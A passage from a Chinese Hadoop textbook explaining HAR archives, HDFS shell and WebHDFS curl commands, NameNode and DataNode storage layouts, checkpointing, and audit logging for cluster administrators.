0%\n12/03/18 20：47：21 INFO mapred.JobClient：map 100%reduce 0%\n12/03/18 20：47：39 INFO mapred.JobClient：map 100%reduce 100%\n12/03/18 20：47：41 INFO mapred.JobClient：Job complete：job_201010182044_0001\n12/03/18 20：47：41 INFO mapred.JobClient：Counters：17\n12/03/18 20：47：41 INFO mapred.JobClient：Job Counters\n12/03/18 20：47：41 INFO mapred.JobClient：Launched reduce tasks=1\n12/03/18 20：47：41 INFO mapred.JobClient：Launched map tasks=1\n12/03/18 20：47：41 INFO mapred.JobClient：FileSystemCounters\n12/03/18 20：47：41 INFO mapred.JobClient：FILE_BYTES_READ=540\n12/03/18 20：47：41 INFO mapred.JobClient：HDFS_BYTES_READ=531\n12/03/18 20：47：41 INFO mapred.JobClient：FILE_BYTES_WRITTEN=870\n12/03/18 20：47：41 INFO mapred.JobClient：HDFS_BYTES_WRITTEN=305\n12/03/18 20：47：41 INFO mapred.JobClient：Map-Reduce Framework\n12/03/18 20：47：41 INFO mapred.JobClient：Reduce input groups=6\n12/03/18 20：47：41 INFO mapred.JobClient：Combine output records=0\n12/03/18 20：47：41 INFO mapred.JobClient：Map input records=6\n12/03/18 20：47：41 INFO mapred.JobClient：Reduce shuffle bytes=0\n12/03/18 20：47：41 INFO mapred.JobClient：Reduce output records=0\n12/03/18 20：47：41 INFO mapred.JobClient：Spilled Records=12\n12/03/18 20：47：41 INFO mapred.JobClient：Map output bytes=280\n12/03/18 20：47：41 INFO mapred.JobClient：Map input bytes=399\n12/03/18 20：47：41 INFO mapred.JobClient：Combine input records=0\n12/03/18 20：47：41 INFO mapred.JobClient：Map output records=6\n12/03/18 20：47：41 INFO mapred.JobClient：Reduce input records=6\n在命令行中，第一个参数是归档文件的名称，这里是file.har文件；第二个参数是要归档的文件源，这里我们只归档一个源文件夹，即HDFS下/user/ubuntu/In/中的文件，但事实上，archive命令可以接收多个文件源；最后一个参数，即本例中的/user/ubuntu/是HAR文件的输出目录。可以看到这个命令的执行流程为一个MapRedeuce任务。\n下面我们来看这个归档文件是怎么创建的：\nhadoop fs-ls/user/ubuntu/In//user/ubuntu/\nFound 2 items\n-rw-r--r--3 ubuntu\\ubuntu supergroup 13 2012-03-18 20：15/user/ubuntu/In/hello.c.txt\n-rw-r--r--1 ubuntu\\ubuntu supergroup 13 2012-03-17 15：13/user/ubuntu/In/hello.txt\nFound 3 items\ndrwxr-xr-x-ubuntu\\ubuntu supergroup 0 2012-03-18 20：15/user/ubuntu/In\ndrwxr-xr-x-ubuntu\\ubuntu supergroup 0 2012-03-18 18：53/user/ubuntu/ubuntu\ndrwxr-xr-x-ubuntu\\ubuntu supergroup 0 2012-03-18 20：47/user/ubuntu/files.har\n这个目录列表展示了一个HAR文件的组成：两个索引文件和部分文件（part file）的集合。这里的部分文件包含已经连接在一起的大量源文件的内容，同时索引文件可以检索部分文件中的归档文件，包括它的长度、起始位置等。但是，这些细节在使用HAR URI模式访问HAR文件时多数都是隐藏的。HAR文件系统是建立在底层文件系统上的（此处是HDFS），以下命令以递归的方式列出了归档文件中的文件：\nhadoop fs-lsr har：///user/ubuntu/files.har\ndrw-r--r---ubuntu\\ubuntu supergroup 0 2012-03-18 20：47/user/ubuntu/files.har/user\ndrw-r--r---ubuntu\\ubuntu supergroup 0 2012-03-18 20：47/user/ubuntu/files.har/\nuser/ubuntu\ndrw-r--r---ubuntu\\ubuntu supergroup 0 2012-03-18 20：47/user/ubuntu/files.har/\nuser/ubuntu/In\n-rw-r--r--10 ubuntu\\ubuntu supergroup 13 2012-03-18 20：47/user/ubuntu/files.\nhar/user/ubuntu/In/hello.c.txt\n-rw-r--r--10 ubuntu\\ubuntu supergroup 13 2012-03-18 20：47/user/ubuntu/files.\nhar/user/ubuntu/In/hello.txt\n如果HAR文件所在的文件系统是默认的文件系统，那么这里的内容就非常直观和易懂，但是，如果你想要在其他文件系统中使用HAR文件，就需要使用不同格式的URI路径。下面两个命令即具有相同的作用：\nhadoop fs-lsr har：///user/ubuntu/files.har/my/files/dir\nhadoop fs-lsr har：//hdfs-localhost：8020/user/ubuntu/files.har/my/files/dir\n第二个命令，它仍然使用HAR模式描述一个HAR文件系统，但是使用HDFS作为底层的文件系统模式，HAR模式之后紧跟一个HDFS系统的主机和端口号。HAR文件系统会将HAR URI转换为底层的文件系统访问URI。在本例中即为hdfs：//localhost：8020/user/ubuntu/archive/files.har，文件的剩余部分路径即为文件归档部分的路径/my/files/dir。\n想要删除HAR文件，需要使用删除的递归格式，这是因为底层的文件系统HAR文件是一个目录，删除命令为hadoop fs-rmr/user/ubuntu/files.har。\n对于HAR文件我们还需要了解它的一些不足。当创建一个归档文件时，还会创建原始文件的一个副本，这样就需要额外的磁盘空间（尽管归档完成后会删除原始文件）。而且当前还没有针对归档文件的压缩方法，只能对写入归档文件的原始文件进行压缩。归档文件一旦创建就不能改变，要增加或者删除文件，就要重新创建。事实上，这对于那些写后不能更改的文件不构成问题，因为可以按日或者按周进行定期成批归档。\n如前所述，HAR文件可以作为MapReduce的一个输入文件，然而，没有一个基于归档的InputFormat可以将多个文件打包到一个单一的MapReduce中去。所以，即使是HAR文件，处理小的文件时效率仍然不高。\n9.7.4 其他命令\n其他相关命令还包括以下这些：\nNameNode-format：格式化DFS文件系统\nsecondaryNameNode：运行DFS的SecondaryNameNode进程\nNameNode：运行DFS的NameNode进程\nDataNode：运行DFS的DataNode进程\ndfsadmin：运行DFS的管理客户端\nmradmin：运行MapReduce的管理客户端\nfsck：运行HDFS的检测进程\nfs：运行一个文件系统工具\nbalancer：运行一个文件系统平衡进程\njobtracker：运行一个JobTracker进程\npipes：运行一个Pipes任务\ntasktracker：运行一个TaskTracker进程\njob：管理运行中的MapReduce任务\nqueue：获得运行中的MapReduce队列的信息\nversion：打印版本号\njar＜jar＞：运行一个JAR文件\ndaemonlog：读取/设置守护进程的日志记录级别\n相信大家已经对这些命令中的一部分很熟悉了，比如在命令行终端中，jar是用来运行Java程序的，version命令可以查看Hadoop的当前版本，或者在安装时必须运行的NameNode-format命令。在这一小节，我们介绍的是与HDFS有关的命令。其中与HDFS相关的命令有如下几个：secondaryNameNode、NameNode、DataNode、dfsadmin、fsck、fs、balancer、distcp和archieves。\n它们的统一格式如下：\nbin/hadoop command[genericOptions][commandOptions]\n其中只有dfsadmin、fsck、fs具有选项genericOptions及commandOptions，其余的命令只有commandOptions。下面先介绍只有commandOptions选项的命令。\ndistcp。Distcp命令用于DistCp（即Dist分布式，Cp复制）分布式复制。用于在集群内部及集群之间复制数据。\narchives。archives命令是Hadoop定义的档案格式。archive对应一个文件系统，它的扩展名是.har，包含元数据及数据文件。\n这两个命令在前文中已有介绍，这里就不再赘述了。\nDataNode。DataNode命令要简单一些。你可以使用如下命令将Hadoop回滚到前一个版本，它的用法如下：\nhadoop DataNode[-rollback]\nNameNode。nameNode命令稍稍复杂一些，它的用法如下：\nhadoop nameNode\n[-format]//格式化NameNode\n[-upgrade]//在Hadoop升级后，应该使用这个命令启动NameNode\n[-rollback]//使用NameNode回滚前一个版本\n[-finalize]//删除文件系统的前一个状态，这会导致系统不能回滚到前一个状态\n[-importCheckpoint]//复制备份checkpoint的状态到当前checkpoint\nSecondaryNameNode。secondaryNameNode的命令用法如下：\nhadoop secondaryNameNode\n[-checkpoint[force]]\n//当editlog超过规定大小（默认64MB）时，启动检查secondaryNameNode的checkpoint过程；如果启用force选项，则强制执行checkpoint过程\n[-geteditsize]\n//在终端上显示editlog文件的大小\nbalancer。balancer命令如解释中所说，用于分担负载。很多原因都会造成数据在集群内分布不均衡，一般来说，当集群中添加新的DataNode时，可以使用这个命令来进行负载均衡。其用法如下：\nhadoop balancer\n接下来的dfsadmin、fsck、fs这三个命令有一个共同的选项genericOptions，这个选项一般与系统相关，其用法如下：\n-conf＜configuration file＞//指定配置文件\n-D＜property=value＞//指定某属性的属性值\n-fs＜local|namenode：port＞//指定DataNode及其端口\ndfsadmin。在dfsadmi命令中可以执行一些类似Windows中高级用户才能执行的命令，比如升级、回滚等。其用法如下：\nhadoop dfsadmin[GENERIC_OPTIONS]\n[-report]//在终端上显示文件系统的基本信息\n[-safemode enter|leave|get|wait]//Hadoop的安全模式及相关维护；在安全模式中系统是只读的，数据块也不可以删除或复制\n[-refreshNodes][-finalizeUpgrade]//重新读取hosts和exclude文件，将新的被允许加入到集群中的DataNode连入，同时断开与那些从集群出去的DataNode的连接\n[-upgradeProgress status|details|force]//获得当前系统的升级状态、细节，或者强制执行升级过程\n[-metasave filename]//保存NameNode的主要数据结构到指定目录下\n[-setQuota＜quota＞＜dirname＞……＜dirname＞]//为每个目录设定配额\n[-clrQuota＜dirname＞……＜dirname＞]//清除这些目录的配额\n[-setSpaceQuota＜quota＞＜dirname＞……＜dirname＞]//为每个目录设置配额空间\n[-clrSpaceQuota＜dirname＞……＜dirname＞]//清除这些目录的配额空间\n[-help[cmd]]//显示命令的帮助信息\nfsck。fsck在HDFS中被用来检查系统中的不一致情况。比如某文件只有目录，但数据块已经丢失或副本数目不足。与Linux不同，这个命令只用于检测，不能进行修复。其使用方法如下：\nhadoop fsck[GENERIC_OPTIONS]＜path＞[-move|-delete|-openforwrite][-files\n[-blocks[-locations|-racks]]]\n//＜path＞检查的起始目录\n//-move移动受损文件到/lost+found\n//-delete删除受损文件\n//-openforwrite在终端上显示被写打开的文件\n//-files在终端上显示正被检查的文件\n//-blocks在终端上显示块信息\n//-location在终端上显示每个块的位置\n//-rack显示DataNode的网络拓扑结构图\nfs：fs可以说是HDFS最常用的命令，这是一个高度类似Linux文件系统的命令集。你可以使用这些命令查看HDFS上的目录结构文件、上传和下载文件、创建文件夹、复制文件等。其使用方法如下：\nhadoop fs[genericOptions]\n[-ls＜path＞]//显示目标路径当前目录下的所有文件\n[-lsr＜path＞]//递归显示目标路径下的所有目录及文件（深度优先）\n[-du＜path＞]//以字节为单位显示目录中所有文件的大小，或该文件的大小（如果目标为文件）\n[-dus＜path＞]//以字节为单位显示目标文件大小（用于查看文件夹大小）\n[-count[-q]＜path＞]//将目录的大小、包含文件（包括文件）个数的信息输出到屏幕（标准stdout）\n[-mv＜src＞＜dst＞]//把文件或目录移动到目标路径，这个命令允许同时移动多个文件，但是只允许移动到一个目标路径中，参数中的最后一个文件夹即为目标路径\n[-cp＜src＞＜dst＞]//复制文件或目录到目标路径，这个命令允许同时复制多个文件，如果复制多个文件，目标路径必须是文件夹\n[-rm[-skipTrash]＜path＞]//删除文件，这个命令不能删除文件夹\n[-rmr[-skipTrash]＜path＞]//删除文件夹及其下的所有文件\n[-expunge]\n[-put＜localsrc＞……＜dst＞]//从本地文件系统上传文件到HDFS中\n[-copyFromLocal＜localsrc＞……＜dst＞]//与put相同\n[-moveFromLocal＜localsrc＞……＜dst＞]//与put相同，但是文件上传之后会从本地文件系统中移除\n[-get[-ignoreCrc][-crc]＜src＞＜localdst＞]//复制文件到本地文件系统。这个命令可以选择是否忽视校验和，忽视校验和下载主要用于挽救那些已经发生错误的文件\n[-getmerge＜src＞＜localdst＞[addnl]]//将源目录中的所有文件进行排序并写入目标文件中，文件之间以换行符分隔\n[-cat＜src＞]//在终端显示（标准输出stdout）文件中的内容，类似Linux系统中的cat\n[-text＜src＞]\n[-copyToLocal[-ignoreCrc][-crc]＜src＞＜localdst＞]//与get相同\n[-moveToLocal[-crc]＜src＞＜localdst＞]\n[-mkdir＜path＞]//创建文件夹\n[-setrep[-R][-w]＜rep＞＜path/file＞]//改变一个文件的副本个数。参数-R可以递归地对该目录下的所有文件做统一操作\n[-touchz＜path＞]//类似Linux中的touch，创建一个空文件\n[-test-[ezd]＜path＞]//将源文件输出为文本格式显示到终端上，通过这个命令可以查看TextRecordInputStream（SequenceFile等）或zip文件\n[-stat[format]＜path＞]//以指定格式返回路径的信息\n[-tail[-f]＜file＞]//在终端上显示（标注输出stdout）文件的最后1kb内容。-f选项的行为与\nLinux中一致，会持续检测新添加到文件中的内容，这在查看日志文件时会显得非常方便\n[-chmod[-R]＜MODE[，MODE]……|OCTALMODE＞PATH……]//改变文件的权限，只有文件的所有者或是超级用户才能使用这个命令。-R可以递归地改变文件夹内的所有文件的权限\n[-chown[-R][OWNER][：[GROUP]]PATH……]//改变文件的拥有者，-R可以递归地改变文件夹内所有文件的拥有者。同样，这个命令只有超级用户才能使用\n[-chgrp[-R]GROUP PATH……]//改变文件所属的组，-R可以递归地改变文件夹内所有文件所属的组。这个命令必须是超级用户才能使用\n[-help[cmd]]//这是命令的帮助信息\n在这些命令中，参数＜path＞的完整格式是hdfs：//NameNodeIP：port/，比如你的NameNode地址是192.168.0.1，端口是9000，那么，如果想访问HDFS上路径为/user/root/hello的文件，则需要输入的地址是hdfs：//192.168.0.1：9000/user/root/hello。在Hadoop中，如果参数＜path＞没有NameNodeIP，那么会默认按照core-site.xml中属性fs.default.name的设置，附加“/user/你的用户名”作为路径，这是为了方便使用以及对不同用户进行区分。\n9.8 WebHDFS\n本章前面的部分讲解了HDFS相关的内容，重点集中在如何使用shell下Hadoop的命令和HDFS的Java API来管理HDFS。这一小节将讲解Hadoop 1.0版本中新增加的WebHDFS，即通过Web命令来管理HDFS。\n 9.8.1 WebHDFS的配置\nWebHDFS的原理是使用curl命令向指定的Hadoop集群对外接口发送页面请求，Hadoop集群的网络接口接收到请求之后，会将命令中的URL解析成HDFS上的对应文件或者文件夹，URL后面的参数解析成命令、用户、权限、缓存大小等参数。待完成相应的操作之后，将结果发还给执行curl命令的客户端，并显示执行信息或者错误信息。那么要使用WebHDFS，首先就必须在期望使用WebHDFS的客户端安装curl软件包。在Ubuntu下执行简单的apt-get install curl命令，apt包管理器就会自动从系统指定的源地址下载curl并安装。待安装结束之后，在终端输入curl-V可以查看是否安装成功。\n在客户端安装好curl软件包之后，还需要修改Hadoop集群的配置，使其开放WebHDFS服务。具体操作是：停止Hadoop所有服务之后，配置hdfs-site.xml中的dfs.webhdfs.enabled, dfs.web.authentication.kerberos.principal, dfs.web.authentication.kerberos.keytab这三个属性为适当的值，其中第一个属性值应配置为true，代表启动webHDFS服务，后面两个代表使用webHDFS时采用的用户认证方法，这里为了简单起见并没有设置，后面的命令也都采用Hadoop的启动用户Ubuntu来发送命令。配置结束之后再启动Hadoop所有的服务，这样就可以使用WebHDFS来管理Hadoop集群了。\n9.8.2 WebHDFS命令\n上一小节讲了如何配置WebHDFS，这一小节我们将详细介绍WebHDFS命令的组织方式和具体的命令。\n1.WebHDFS命令一般形式\n在这一部分的开始就讲了WebHDFS实际上是用curl命令来发送管理的命令，所以WebHDFS的命令组织和curl命令组织类似。一般为下面的格式：\ncurl[-i/-X/-u/-T][PUT]\"http：//＜HOST＞：＜PORT＞/webhdfs/v1/＜PATH＞?[user.name=＜user＞＆]＆op=＜operation＞＆[doas=＜user＞]……\"\n在这个命令里面，引号前面的部分是curl自己的参数，需要大家自行了解；后面网页形式的内容代表着操作的指令、参数和路径。其中http：//＜HOST＞：＜PORT＞。代表需要将命令发送的地址和端口，也就是Hadoop集群服务器的IP地址和HDFS端口（默认是50070）。在这个地址之后的部分/webhdfs/v1/＜PATH＞代表着需要操作的远程HDFS集群上的路径，比如/webhdfs/v1/user/ubuntu/input，就代表着HDFS上/user/ubuntu/input这个目录。引号中再往后的内容就是操作的指令和参数了，其中最重要的是op参数，代表着具体的操作指令，接下来的内容我们会详细讲解。\n2.文件和路径操作\n创建文件并写入内容：\nc u r l-i-X P U T\"h t t p：//＜H O S T＞：＜P O R T＞/w e b h d f s/v 1/＜P A T H＞?o p=C R E A T E overwrite=＜true|false＞][＆blocksize=＜LONG＞][＆replication=＜SHORT＞]\n[＆permission=＜OCTAL＞][＆buffersize=＜INT＞]\"\n使用上述命令之后，会返回一个location，它包括了已创建文件所在的DataNode地址及创建路径。下面就可以将文件内容发送到所显示DataNode对应路径下的文件内，命令如下：\ncurl-i-X PUT-T＜LOCAL_FILE＞\"http：//＜DAtANODE＞：＜PORT＞/webhdfs/v1/＜PATH＞?op=CREATE……\"\n文件追加内容，首先使用下面的命令获取待追加内容文件所在的地址：\ncurl-i-X POST\"http：//＜HOST＞：＜PORT＞/webhdfs/v1/＜PATH＞?op=APPEND[＆buffersize=＜INT＞]\"\n再结合返回内容的location信息，追加内容，命令如下：\ncurl-i-X POST-T＜LOCAL_FILE＞\"http：//＜DAtANODE＞：＜PORT＞/webhdfs/v1/＜PATH＞?op=APPEND……\"\n打开并读取文件内容，使用下面的命令打开远程HDFS上的文件并读取内容：\ncurl-i-L\"http：//＜HOST＞：＜PORT＞/webhdfs/v1/＜PATH＞?op=OPEN\n[＆offset=＜LONG＞][＆length=＜LONG＞][＆buffersize=＜INT＞]\"\n需要注意的是，这个命令首先会返回文件所在的location信息，然后打印文件的具体内容。\n创建文件夹：\ncurl-i-X PUT\"http：//＜HOST＞：＜PORT＞/＜PATH＞?op=MKDIRS[＆permission=＜OCTAL＞]\"\n重命名文件夹或文件：\ncurl-i-X PUT\"＜HOST＞：＜PORT＞/webhdfs/v1/＜PATH＞?op=RENAME＆destination=＜PATH＞\"\n删除文件夹或者文件：\ncurl-i-X DELETE\"http：//＜host＞：＜port＞/webhdfs/v1/＜path＞?op=DELETE\n[＆recursive=＜true|false＞]\"\n查看文件夹或文件信息：\ncurl-i\"http：//＜HOST＞：＜PORT＞/webhdfs/v1/＜PATH＞?op=GETFILESTATUS\"\n列举文件夹内容：\ncurl-i\"http：//＜HOST＞：＜PORT＞/webhdfs/v1/＜PATH＞?op=LISTSTATUS\"\n3.其他文件系统操作\n获取文件夹统计信息：\ncurl-i\"http：//＜HOST＞：＜PORT＞/webhdfs/v1/＜PATH＞?op=GETCONTENTSUMMARY\"\n这个命令主要返回一下文件夹信息：文件夹个数、文件个数、总字长和总大小等。\n获取文件校验和：\ncurl-i\"http：//＜HOST＞：＜PORT＞/webhdfs/v1/＜PATH＞?op=GETFILECHECKSUM\"\n主要返回校验算法、校验字符串和字符串长度。\n获取当前web用户的主目录：\ncurl-i\"http：//＜HOST＞：＜PORT＞/webhdfs/v1/?op=GETHOMEDIRECTORY\"\n设置权限：\ncurl-i-X PUT\"http：//＜HOST＞：＜PORT＞/webhdfs/v1/＜PATH＞?op=SETPERMISSION\n[＆permission=＜OCTAL＞]\"\n设置文件夹或文件属主属性：\ncurl-i-X PUT\"http：//＜HOST＞：＜PORT＞/webhdfs/v1/＜PATH＞?op=SETOWNER\n[＆owner=＜USER＞][＆group=＜GROUP＞]\"\n设置备份数量：\ncurl-i-X PUT\"http：//＜HOST＞：＜PORT＞/webhdfs/v1/＜PATH＞?op=SETREPLICATION\n[＆replication=＜SHORT＞]\"\n4.常见错误\n在使用WebHDFS时经常会抛出一些异常，但是从异常的信息大体都能分析出问题所在，下面介绍几种常见的异常和分析。\n（1）Illegal Argument Exception\n这种异常出现的返回信息如下：\nHTTP/1.1 400 Bad Request\nContent-Type：application/json\nTransfer-Encoding：chunked\n{\n\"RemoteException\"：\n{\n\"exception\"：\"IllegalArgumentException\"，\n\"javaClassName\"：\"java.lang.IllegalArgumentException\"，\n\"message\"：\"Invalid value for webhdfs parameter\\\"permission\\\"：……\"\n}\n}\n从异常信息可以很明显看出是命令的参数不对，这就需要用户仔细检查自己的参数是否有输入错误或拼写错误。\n（2）Security Exception\n这种异常出现的返回信息如下：\nHTTP/1.1 401 Unauthorized\nContent-Type：application/json\nTransfer-Encoding：chunked\n{\n\"RemoteException\"：\n{\n\"exception\"：\"SecurityException\"，\n\"javaClassName\"：\"java.lang.SecurityException\"，\n\"message\"：\"Failed to obtain user group information：……\"\n}\n}\n出现这种异常的原因是提交命令的用户应通过认证，这就需要用户先提交认证信息。\n（3）File Not Found Exception\n这种异常出现的返回信息如下：\nHTTP/1.1 404 Not Found\nContent-Type：application/json\nTransfer-Encoding：chunked\n{\n\"RemoteException\"：\n{\n\"exception\"：\"FileNotFoundException\"，\n\"javaClassName\"：\"java.io.FileNotFoundException\"，\n\"message\"：\"File does not exist：/foo/a.patch\"\n}\n}\n出现这种异常的原因是找不到指定的目录或者文件，这需要用户确认自己命令中的路径和文件。\n9.9 本章小结\n在本章中，深入介绍了Hadoop中一个关键的分布式文件系统HDFS。HDFS是Hadoop的一个核心子项目，是Hadoop进行大数据存储管理的基础，它支持MapReduce分布式计算。\n首先，对Hadoop的文件系统进行了总体的概括，随后针对HDFS进行了简单介绍，分析了它的研究背景和设计基础。有了这样的背景知识，就可以在随后的章节中更好地理解HDFS的功能和实现。本章还从结构上对HDFS进行了描述，给出了HDFS的相关概念，包括块、NameNode、DataNode等。通过对HDFS概念的学习，还可以了解HDFS的体系结构。\n其次，在掌握基本概念的基础上，我们介绍了HDFS的基本操作接口。HDFS为开发者提供了丰富的接口，包括命令行接口和各种方便使用的Java接口，可以通过Java API对HDFS中的文件执行常规的文件操作。不仅如此，在使用API对HDFS文件系统进行管理的基础上，还对HDFS中文件流的读/写进行了详细介绍。这对更深入地了解HDFS有很大帮助。\n最后，本章对HDFS的命令进行了详细讲解，并对其中特有的distcp操作和归档文件进行了具体说明，理解了它们可以更好地帮助大家了解Hadoop的文件系统。\n第10章 Hadoop的管理\n本章内容\nHDFS文件结构\nHadoop的状态监视和管理工具\nHadoop集群的维护\n本章小结\n在第2章我们已经详细介绍了如何安装和部署Hadoop集群，本章我们将具体介绍如何维护集群以保证其正常运行。毋庸置疑，维护一个大型集群稳定运行是必要的，手段也是多样的。为了更清晰地了解Hadoop集群管理的相关内容，本章主要从HDFS本身的文件结构，Hadoop的监控管理工具以及集群常用的维护功能三方面进行讲解。\n10.1 HDFS文件结构\n作为一名合格的系统运维人员，首先要全面掌握系统的文件组织目录。对于Hadoop系统的运维人员来说，就是要掌握HDFS中的NameNode、DataNode、Secondery NameNode是如何在磁盘上组织和存储持久化数据的。只有这样，当遇到问题时，管理人员才能借助系统本身的文件存储机制来快速诊断和分析问题。下面从HDFS的几个方面来分别介绍。\n1.NameNode的文件结构\n最新格式化的NameNode会创建以下目录结构：\n${dfs.name.dir}/current/VERSION\n/edits\n/fsimage\n/fstime\n其中，dfs.name.dir属性是一个目录列表，是每个目录的镜像。VERSION文件是Java属性文件，其中包含运行HDFS的版本信息。下面是一个典型的VERSION文件包含的内容：\n#Wed Mar 23 16：03：27 CST 2011\nnamespaceID=1064465394\ncTime=0\nstorageType=NAME_NODE\nlayoutVersion=-18\n其中，namespaceID是文件系统的唯一标识符。在文件系统第一次被格式化时便会创建namespaceID。这个标识符也要求各DataNode节点和NameNode保持一致。NameNode会使用此标识符识别新的DataNode。DataNode只有在向NameNode注册后才会获得此namespaceID。cTime属性标记了NameNode存储空间创建的时间。对于新格式化的存储空间，虽然这里的cTime属性值为0，但是只要文件系统被更新，它就会更新到一个新的时间戳。storageType用于指出此存储目录包含一个NameNode的数据结构，在DataNode中它的属性值为DATA_NODE。\nlayoutVersion是一个负的整数，定义了HDFS持久数据结构的版本。注意，该版本号和Hadoop的发行版本号无关。每次HDFS的布局发生改变，该版本号就会递减（比如-18版本号之后是-19），在这种情况下，HDFS就需要更新升级，因为如果一个新的NameNode或DataNode还处在旧版本上，那么系统就无法正常运行，各节点的版本号要保持一致。\nNameNode的存储目录包含edits、fsimage、fstime三个文件。它们都是二进制的文件，可以通过HadoopWritable对象进行序列化。下面将深入介绍NameNode的工作原理，以便使大家更清晰地理解这三个文件的作用。\n2.编辑日志（edit log）及文件系统映像（filesystem image）\n当客户端执行写操作时，NameNode会先在编辑日志中写下记录，并在内存中保存一个文件系统元数据，元数据会在编辑日志有所改动后进行更新。内存中的元数据用来提供读数据请求服务。\n编辑日志会在每次成功操作之后、成功代码尚未返回给客户端之前进行刷新和同步。对于要写入多个目录的操作，写入流要刷新和同步到所有的副本，这就保证了操作不会因故障而丢失数据。\nfsimage文件是文件系统元数据的持久性检查点。和编辑日志不同，它不会在每个文件系统的写操作后都进行更新，因为写出fsimage文件会非常慢（fsimage可能增长到GB大小）。这种设计并不会影响系统的恢复力，因为如果NameNode失败，那么元数据的最新状态可以通过将从磁盘中读出的fsimage文件加载到内存中来进行重建恢复，然后重新执行编辑日志中的操作。事实上，这也正是NameNode启动时要做的事情。一个fsimage文件包含以序列化格式存储的文件系统目录和文件inodes。每个inodes表示一个文件或目录的元数据信息，以及文件的副本数、修改和访问时间等信息。\n正如上面所描述的，Hadoop文件系统会出现编辑日志不断增长的情况。尽管在NameNode运行期间不会对系统造成影响，但是，如果NameNode重新启动，它将会花费很长时间来运行编辑日志中的每个操作。在此期间（即安全模式时间），文件系统还是不可用的，通常来说这是不符合应用需求的。\n为了解决这个问题，Hadoop在NameNode之外的节点上运行一个Secondary NameNode进程，它的任务就是为原NameNode内存中的文件系统元数据产生检查点。其实Secondary NameNode是一个辅助NameNode处理fsimage和编辑日志的节点，它从NameNode中复制fsimage和编辑日志到临时目录并定期合并生成一个新的fsimage，随后它会将新的fsimage上传到NameNode，这样，NameNode便可更新fsimage并删除原来的编辑日志。下面我们参照图10-1对检查点处理过程进行描述。\n下面介绍检查点处理过程的具体步骤。\n1）Secondary NameNode首先请求原NameNode进行edits的滚动，这样新的编辑操作就能够进入一个新的文件中了。\n2）Secondary NameNode通过HTTP方式读取原NameNode中的fsimage及edits。\n3）Secondary NameNode读取fsimage到内存中，然后执行edits中的每个操作，并创建一个新的统一的fsimage文件。\n4）Secondary NameNode（通过HTTP方式）将新的fsimage发送到原NameNode。\n5）原NameNode用新的fsimage替换旧的fsimage，旧的edits文件通过步骤1）中的edits进行替换。同时系统会更新fsimage文件到记录检查点记录的时间。\n图 10-1 检查点处理过程\n在这个过程结束后，NameNode就有了最新的fsimage文件和更小的edits文件。事实上，对于NameNode在安全模式下的这种情况，管理员可以通过以下命令运行这个过程：\nhadoop dfsadmin-saveNamespace\n这个过程清晰地表明了Secondary NameNode要有和原NameNode一样的内存需求的原因—要把fsimage加载到内存中，因此Secondary NameNode在集群中也需要有专用机器。\n有关检查点的时间表由两个配置参数决定。Secondary NameNode每小时会插入一个检查点（fs.chec-kpoint.period，以秒为单位），如果编辑日志达到64MB（fs.checkpoint.size，以字节为单位），则间隔时间更短，每隔5分钟会检查一次。\n3.Secondary NameNode的目录结构\nSecondary NameNode在每次处理过程结束后都有一个检查点。这个检查点可以在一个子目录/previous.checkpoint中找到，可以作为NameNode的元数据备份源，目录如下：\n${fs.checkpoint.dir}/current/VERSION\n/edits\n/fsimage\n/fstime\n/previous.checkpoint/VERSION\n/edits\n/fsimage\n/fstime\n以上这个目录和Secondary NameNode的/current目录结构是完全相同的。这样设计的目的是：万一整个NameNode发生故障，并且没有用于恢复的备份，甚至NFS中也没有备份，就可以直接从Secondary NameNode恢复。具体方式有两种，第一种是直接复制相关的目录到新的NameNode中。第二种是在启动NameNode守护进程时，Secondary NameNode可以使用-importCheckpoint选项，并作为新的NameNode继续运行任务。-importCheckpoint选项将加载fs.checkpoint.dir属性定义的目录中的最新检查点的NameNode数据，但这种操作只有在dfs.name.dir所指定的目录下没有元数据的情况下才进行，这样就避免了重写之前元数据的风险。\n4.DataNode的目录结构\nDataNode不需要进行格式化，它会在启动时自己创建存储目录，其中关键的文件和目录如下：\n${dfs.data.dir}/current/VERSION\n/blk_＜id_1＞\n/blk_＜id_1＞.meta\n/blk_＜id_2＞\n/blk_＜id_2＞.meta\n/……\n/subdir0/\n/subdir1/\n/……\n/subdir63/\nDataNode的VERSION文件和NameNode的非常类似，内容如下：\n#Tue Mar 10 21：32：31 GMT 2010\nnamespaceID=134368441\nstorageID=DS-547717739-172.16.85.1-50010-1236720751627\ncTime=0\nstorageType=DATA_NODE\nlayoutVersion=-18\n其中，namespaceID、cTime和layoutVersion值与NameNode中的值都是一样的，namaspaceID在第一次连接NameNode时就会从中获取。stroageID相对于DataNode来说是唯一的，用于在NameNode处标识DataNode。storageType将这个目录标志为DataNode数据存储目录。\nDataNode中current目录下的其他文件都有blk_refix前缀，它有两种类型：\n1）HDFS中的文件块本身，存储的是原始文件内容；\n2）块的元数据信息（使用.meta后缀标识）。一个文件块由存储的原始文件字节组成，元数据文件由一个包含版本和类型信息的头文件和一系列块的区域校验和组成。\n当目录中存储的块数量增加到一定规模时，DataNode会创建一个新的目录，用于保存新的块及元数据。当目录中的块数量达到64（可由dfs.DataNode.numblocks属性值确定）时，便会新建一个子目录，这样就会形成一个更宽的文件树结构，避免了由于存储大量数据块而导致目录很深，使检索性能免受影响。通过这样的措施，数据节点可以确保每个目录中的文件块数是可控的，也避免了一个目录中存在过多文件。\n10.2 Hadoop的状态监视和管理工具\n对一个系统运维的管理员来说，进行系统监控是必须的。监控的目的是了解系统何时出现问题，并找到问题出在哪里，从而做出相应的处理。管理守护进程对监控NameNode、DataNode和JobTracker是非常重要的。在实际运行中，因为DataNode及TaskTracker的故障可能随时出现，所以集群需要提供额外的功能以应对少部分节点出现的故障。管理员也要隔一段时间执行一些监测任务，以获知当前集群的运行状态。本节将详细介绍Hadoop如何实现系统监控。\n 10.2.1 审计日志\nHDFS通过审计日志可以实现记录文件系统所有文件访问请求的功能，其审计日志功能通过log4j实现，但是在默认配置下这个功能是关闭的：log的记录等级在log4j.properties中被设置为WARN：\nlog4j.logger.org.apache.hadoop.fs.FSNamesystem.audit=WARN\n在此处将WARN修改为INFO，便可打开审计日志功能。这样在每个HDFS事件之后，系统都会在NameNode的log文件中写入一行记录。下面是一个请求/usr/hadoop文件的例子：\n2010-03-13 07：11：22，982 INFO org.apache.hadoop.hdfs.server.namenode.FSNamesystem.audit：\nugi=admin, staff, admin ip=/127.0.0.1 cmd=listStatus src=/user/admin=null\nperm=null\n关于log4j还有很多其他配置可改，比如可以将审计日志从NameNode的日志文件中分离出来等。具体操作可查看Hadoop的Wiki：http：//wiki.apache.org/hadoop/HowToConfigure。\n10.2.2 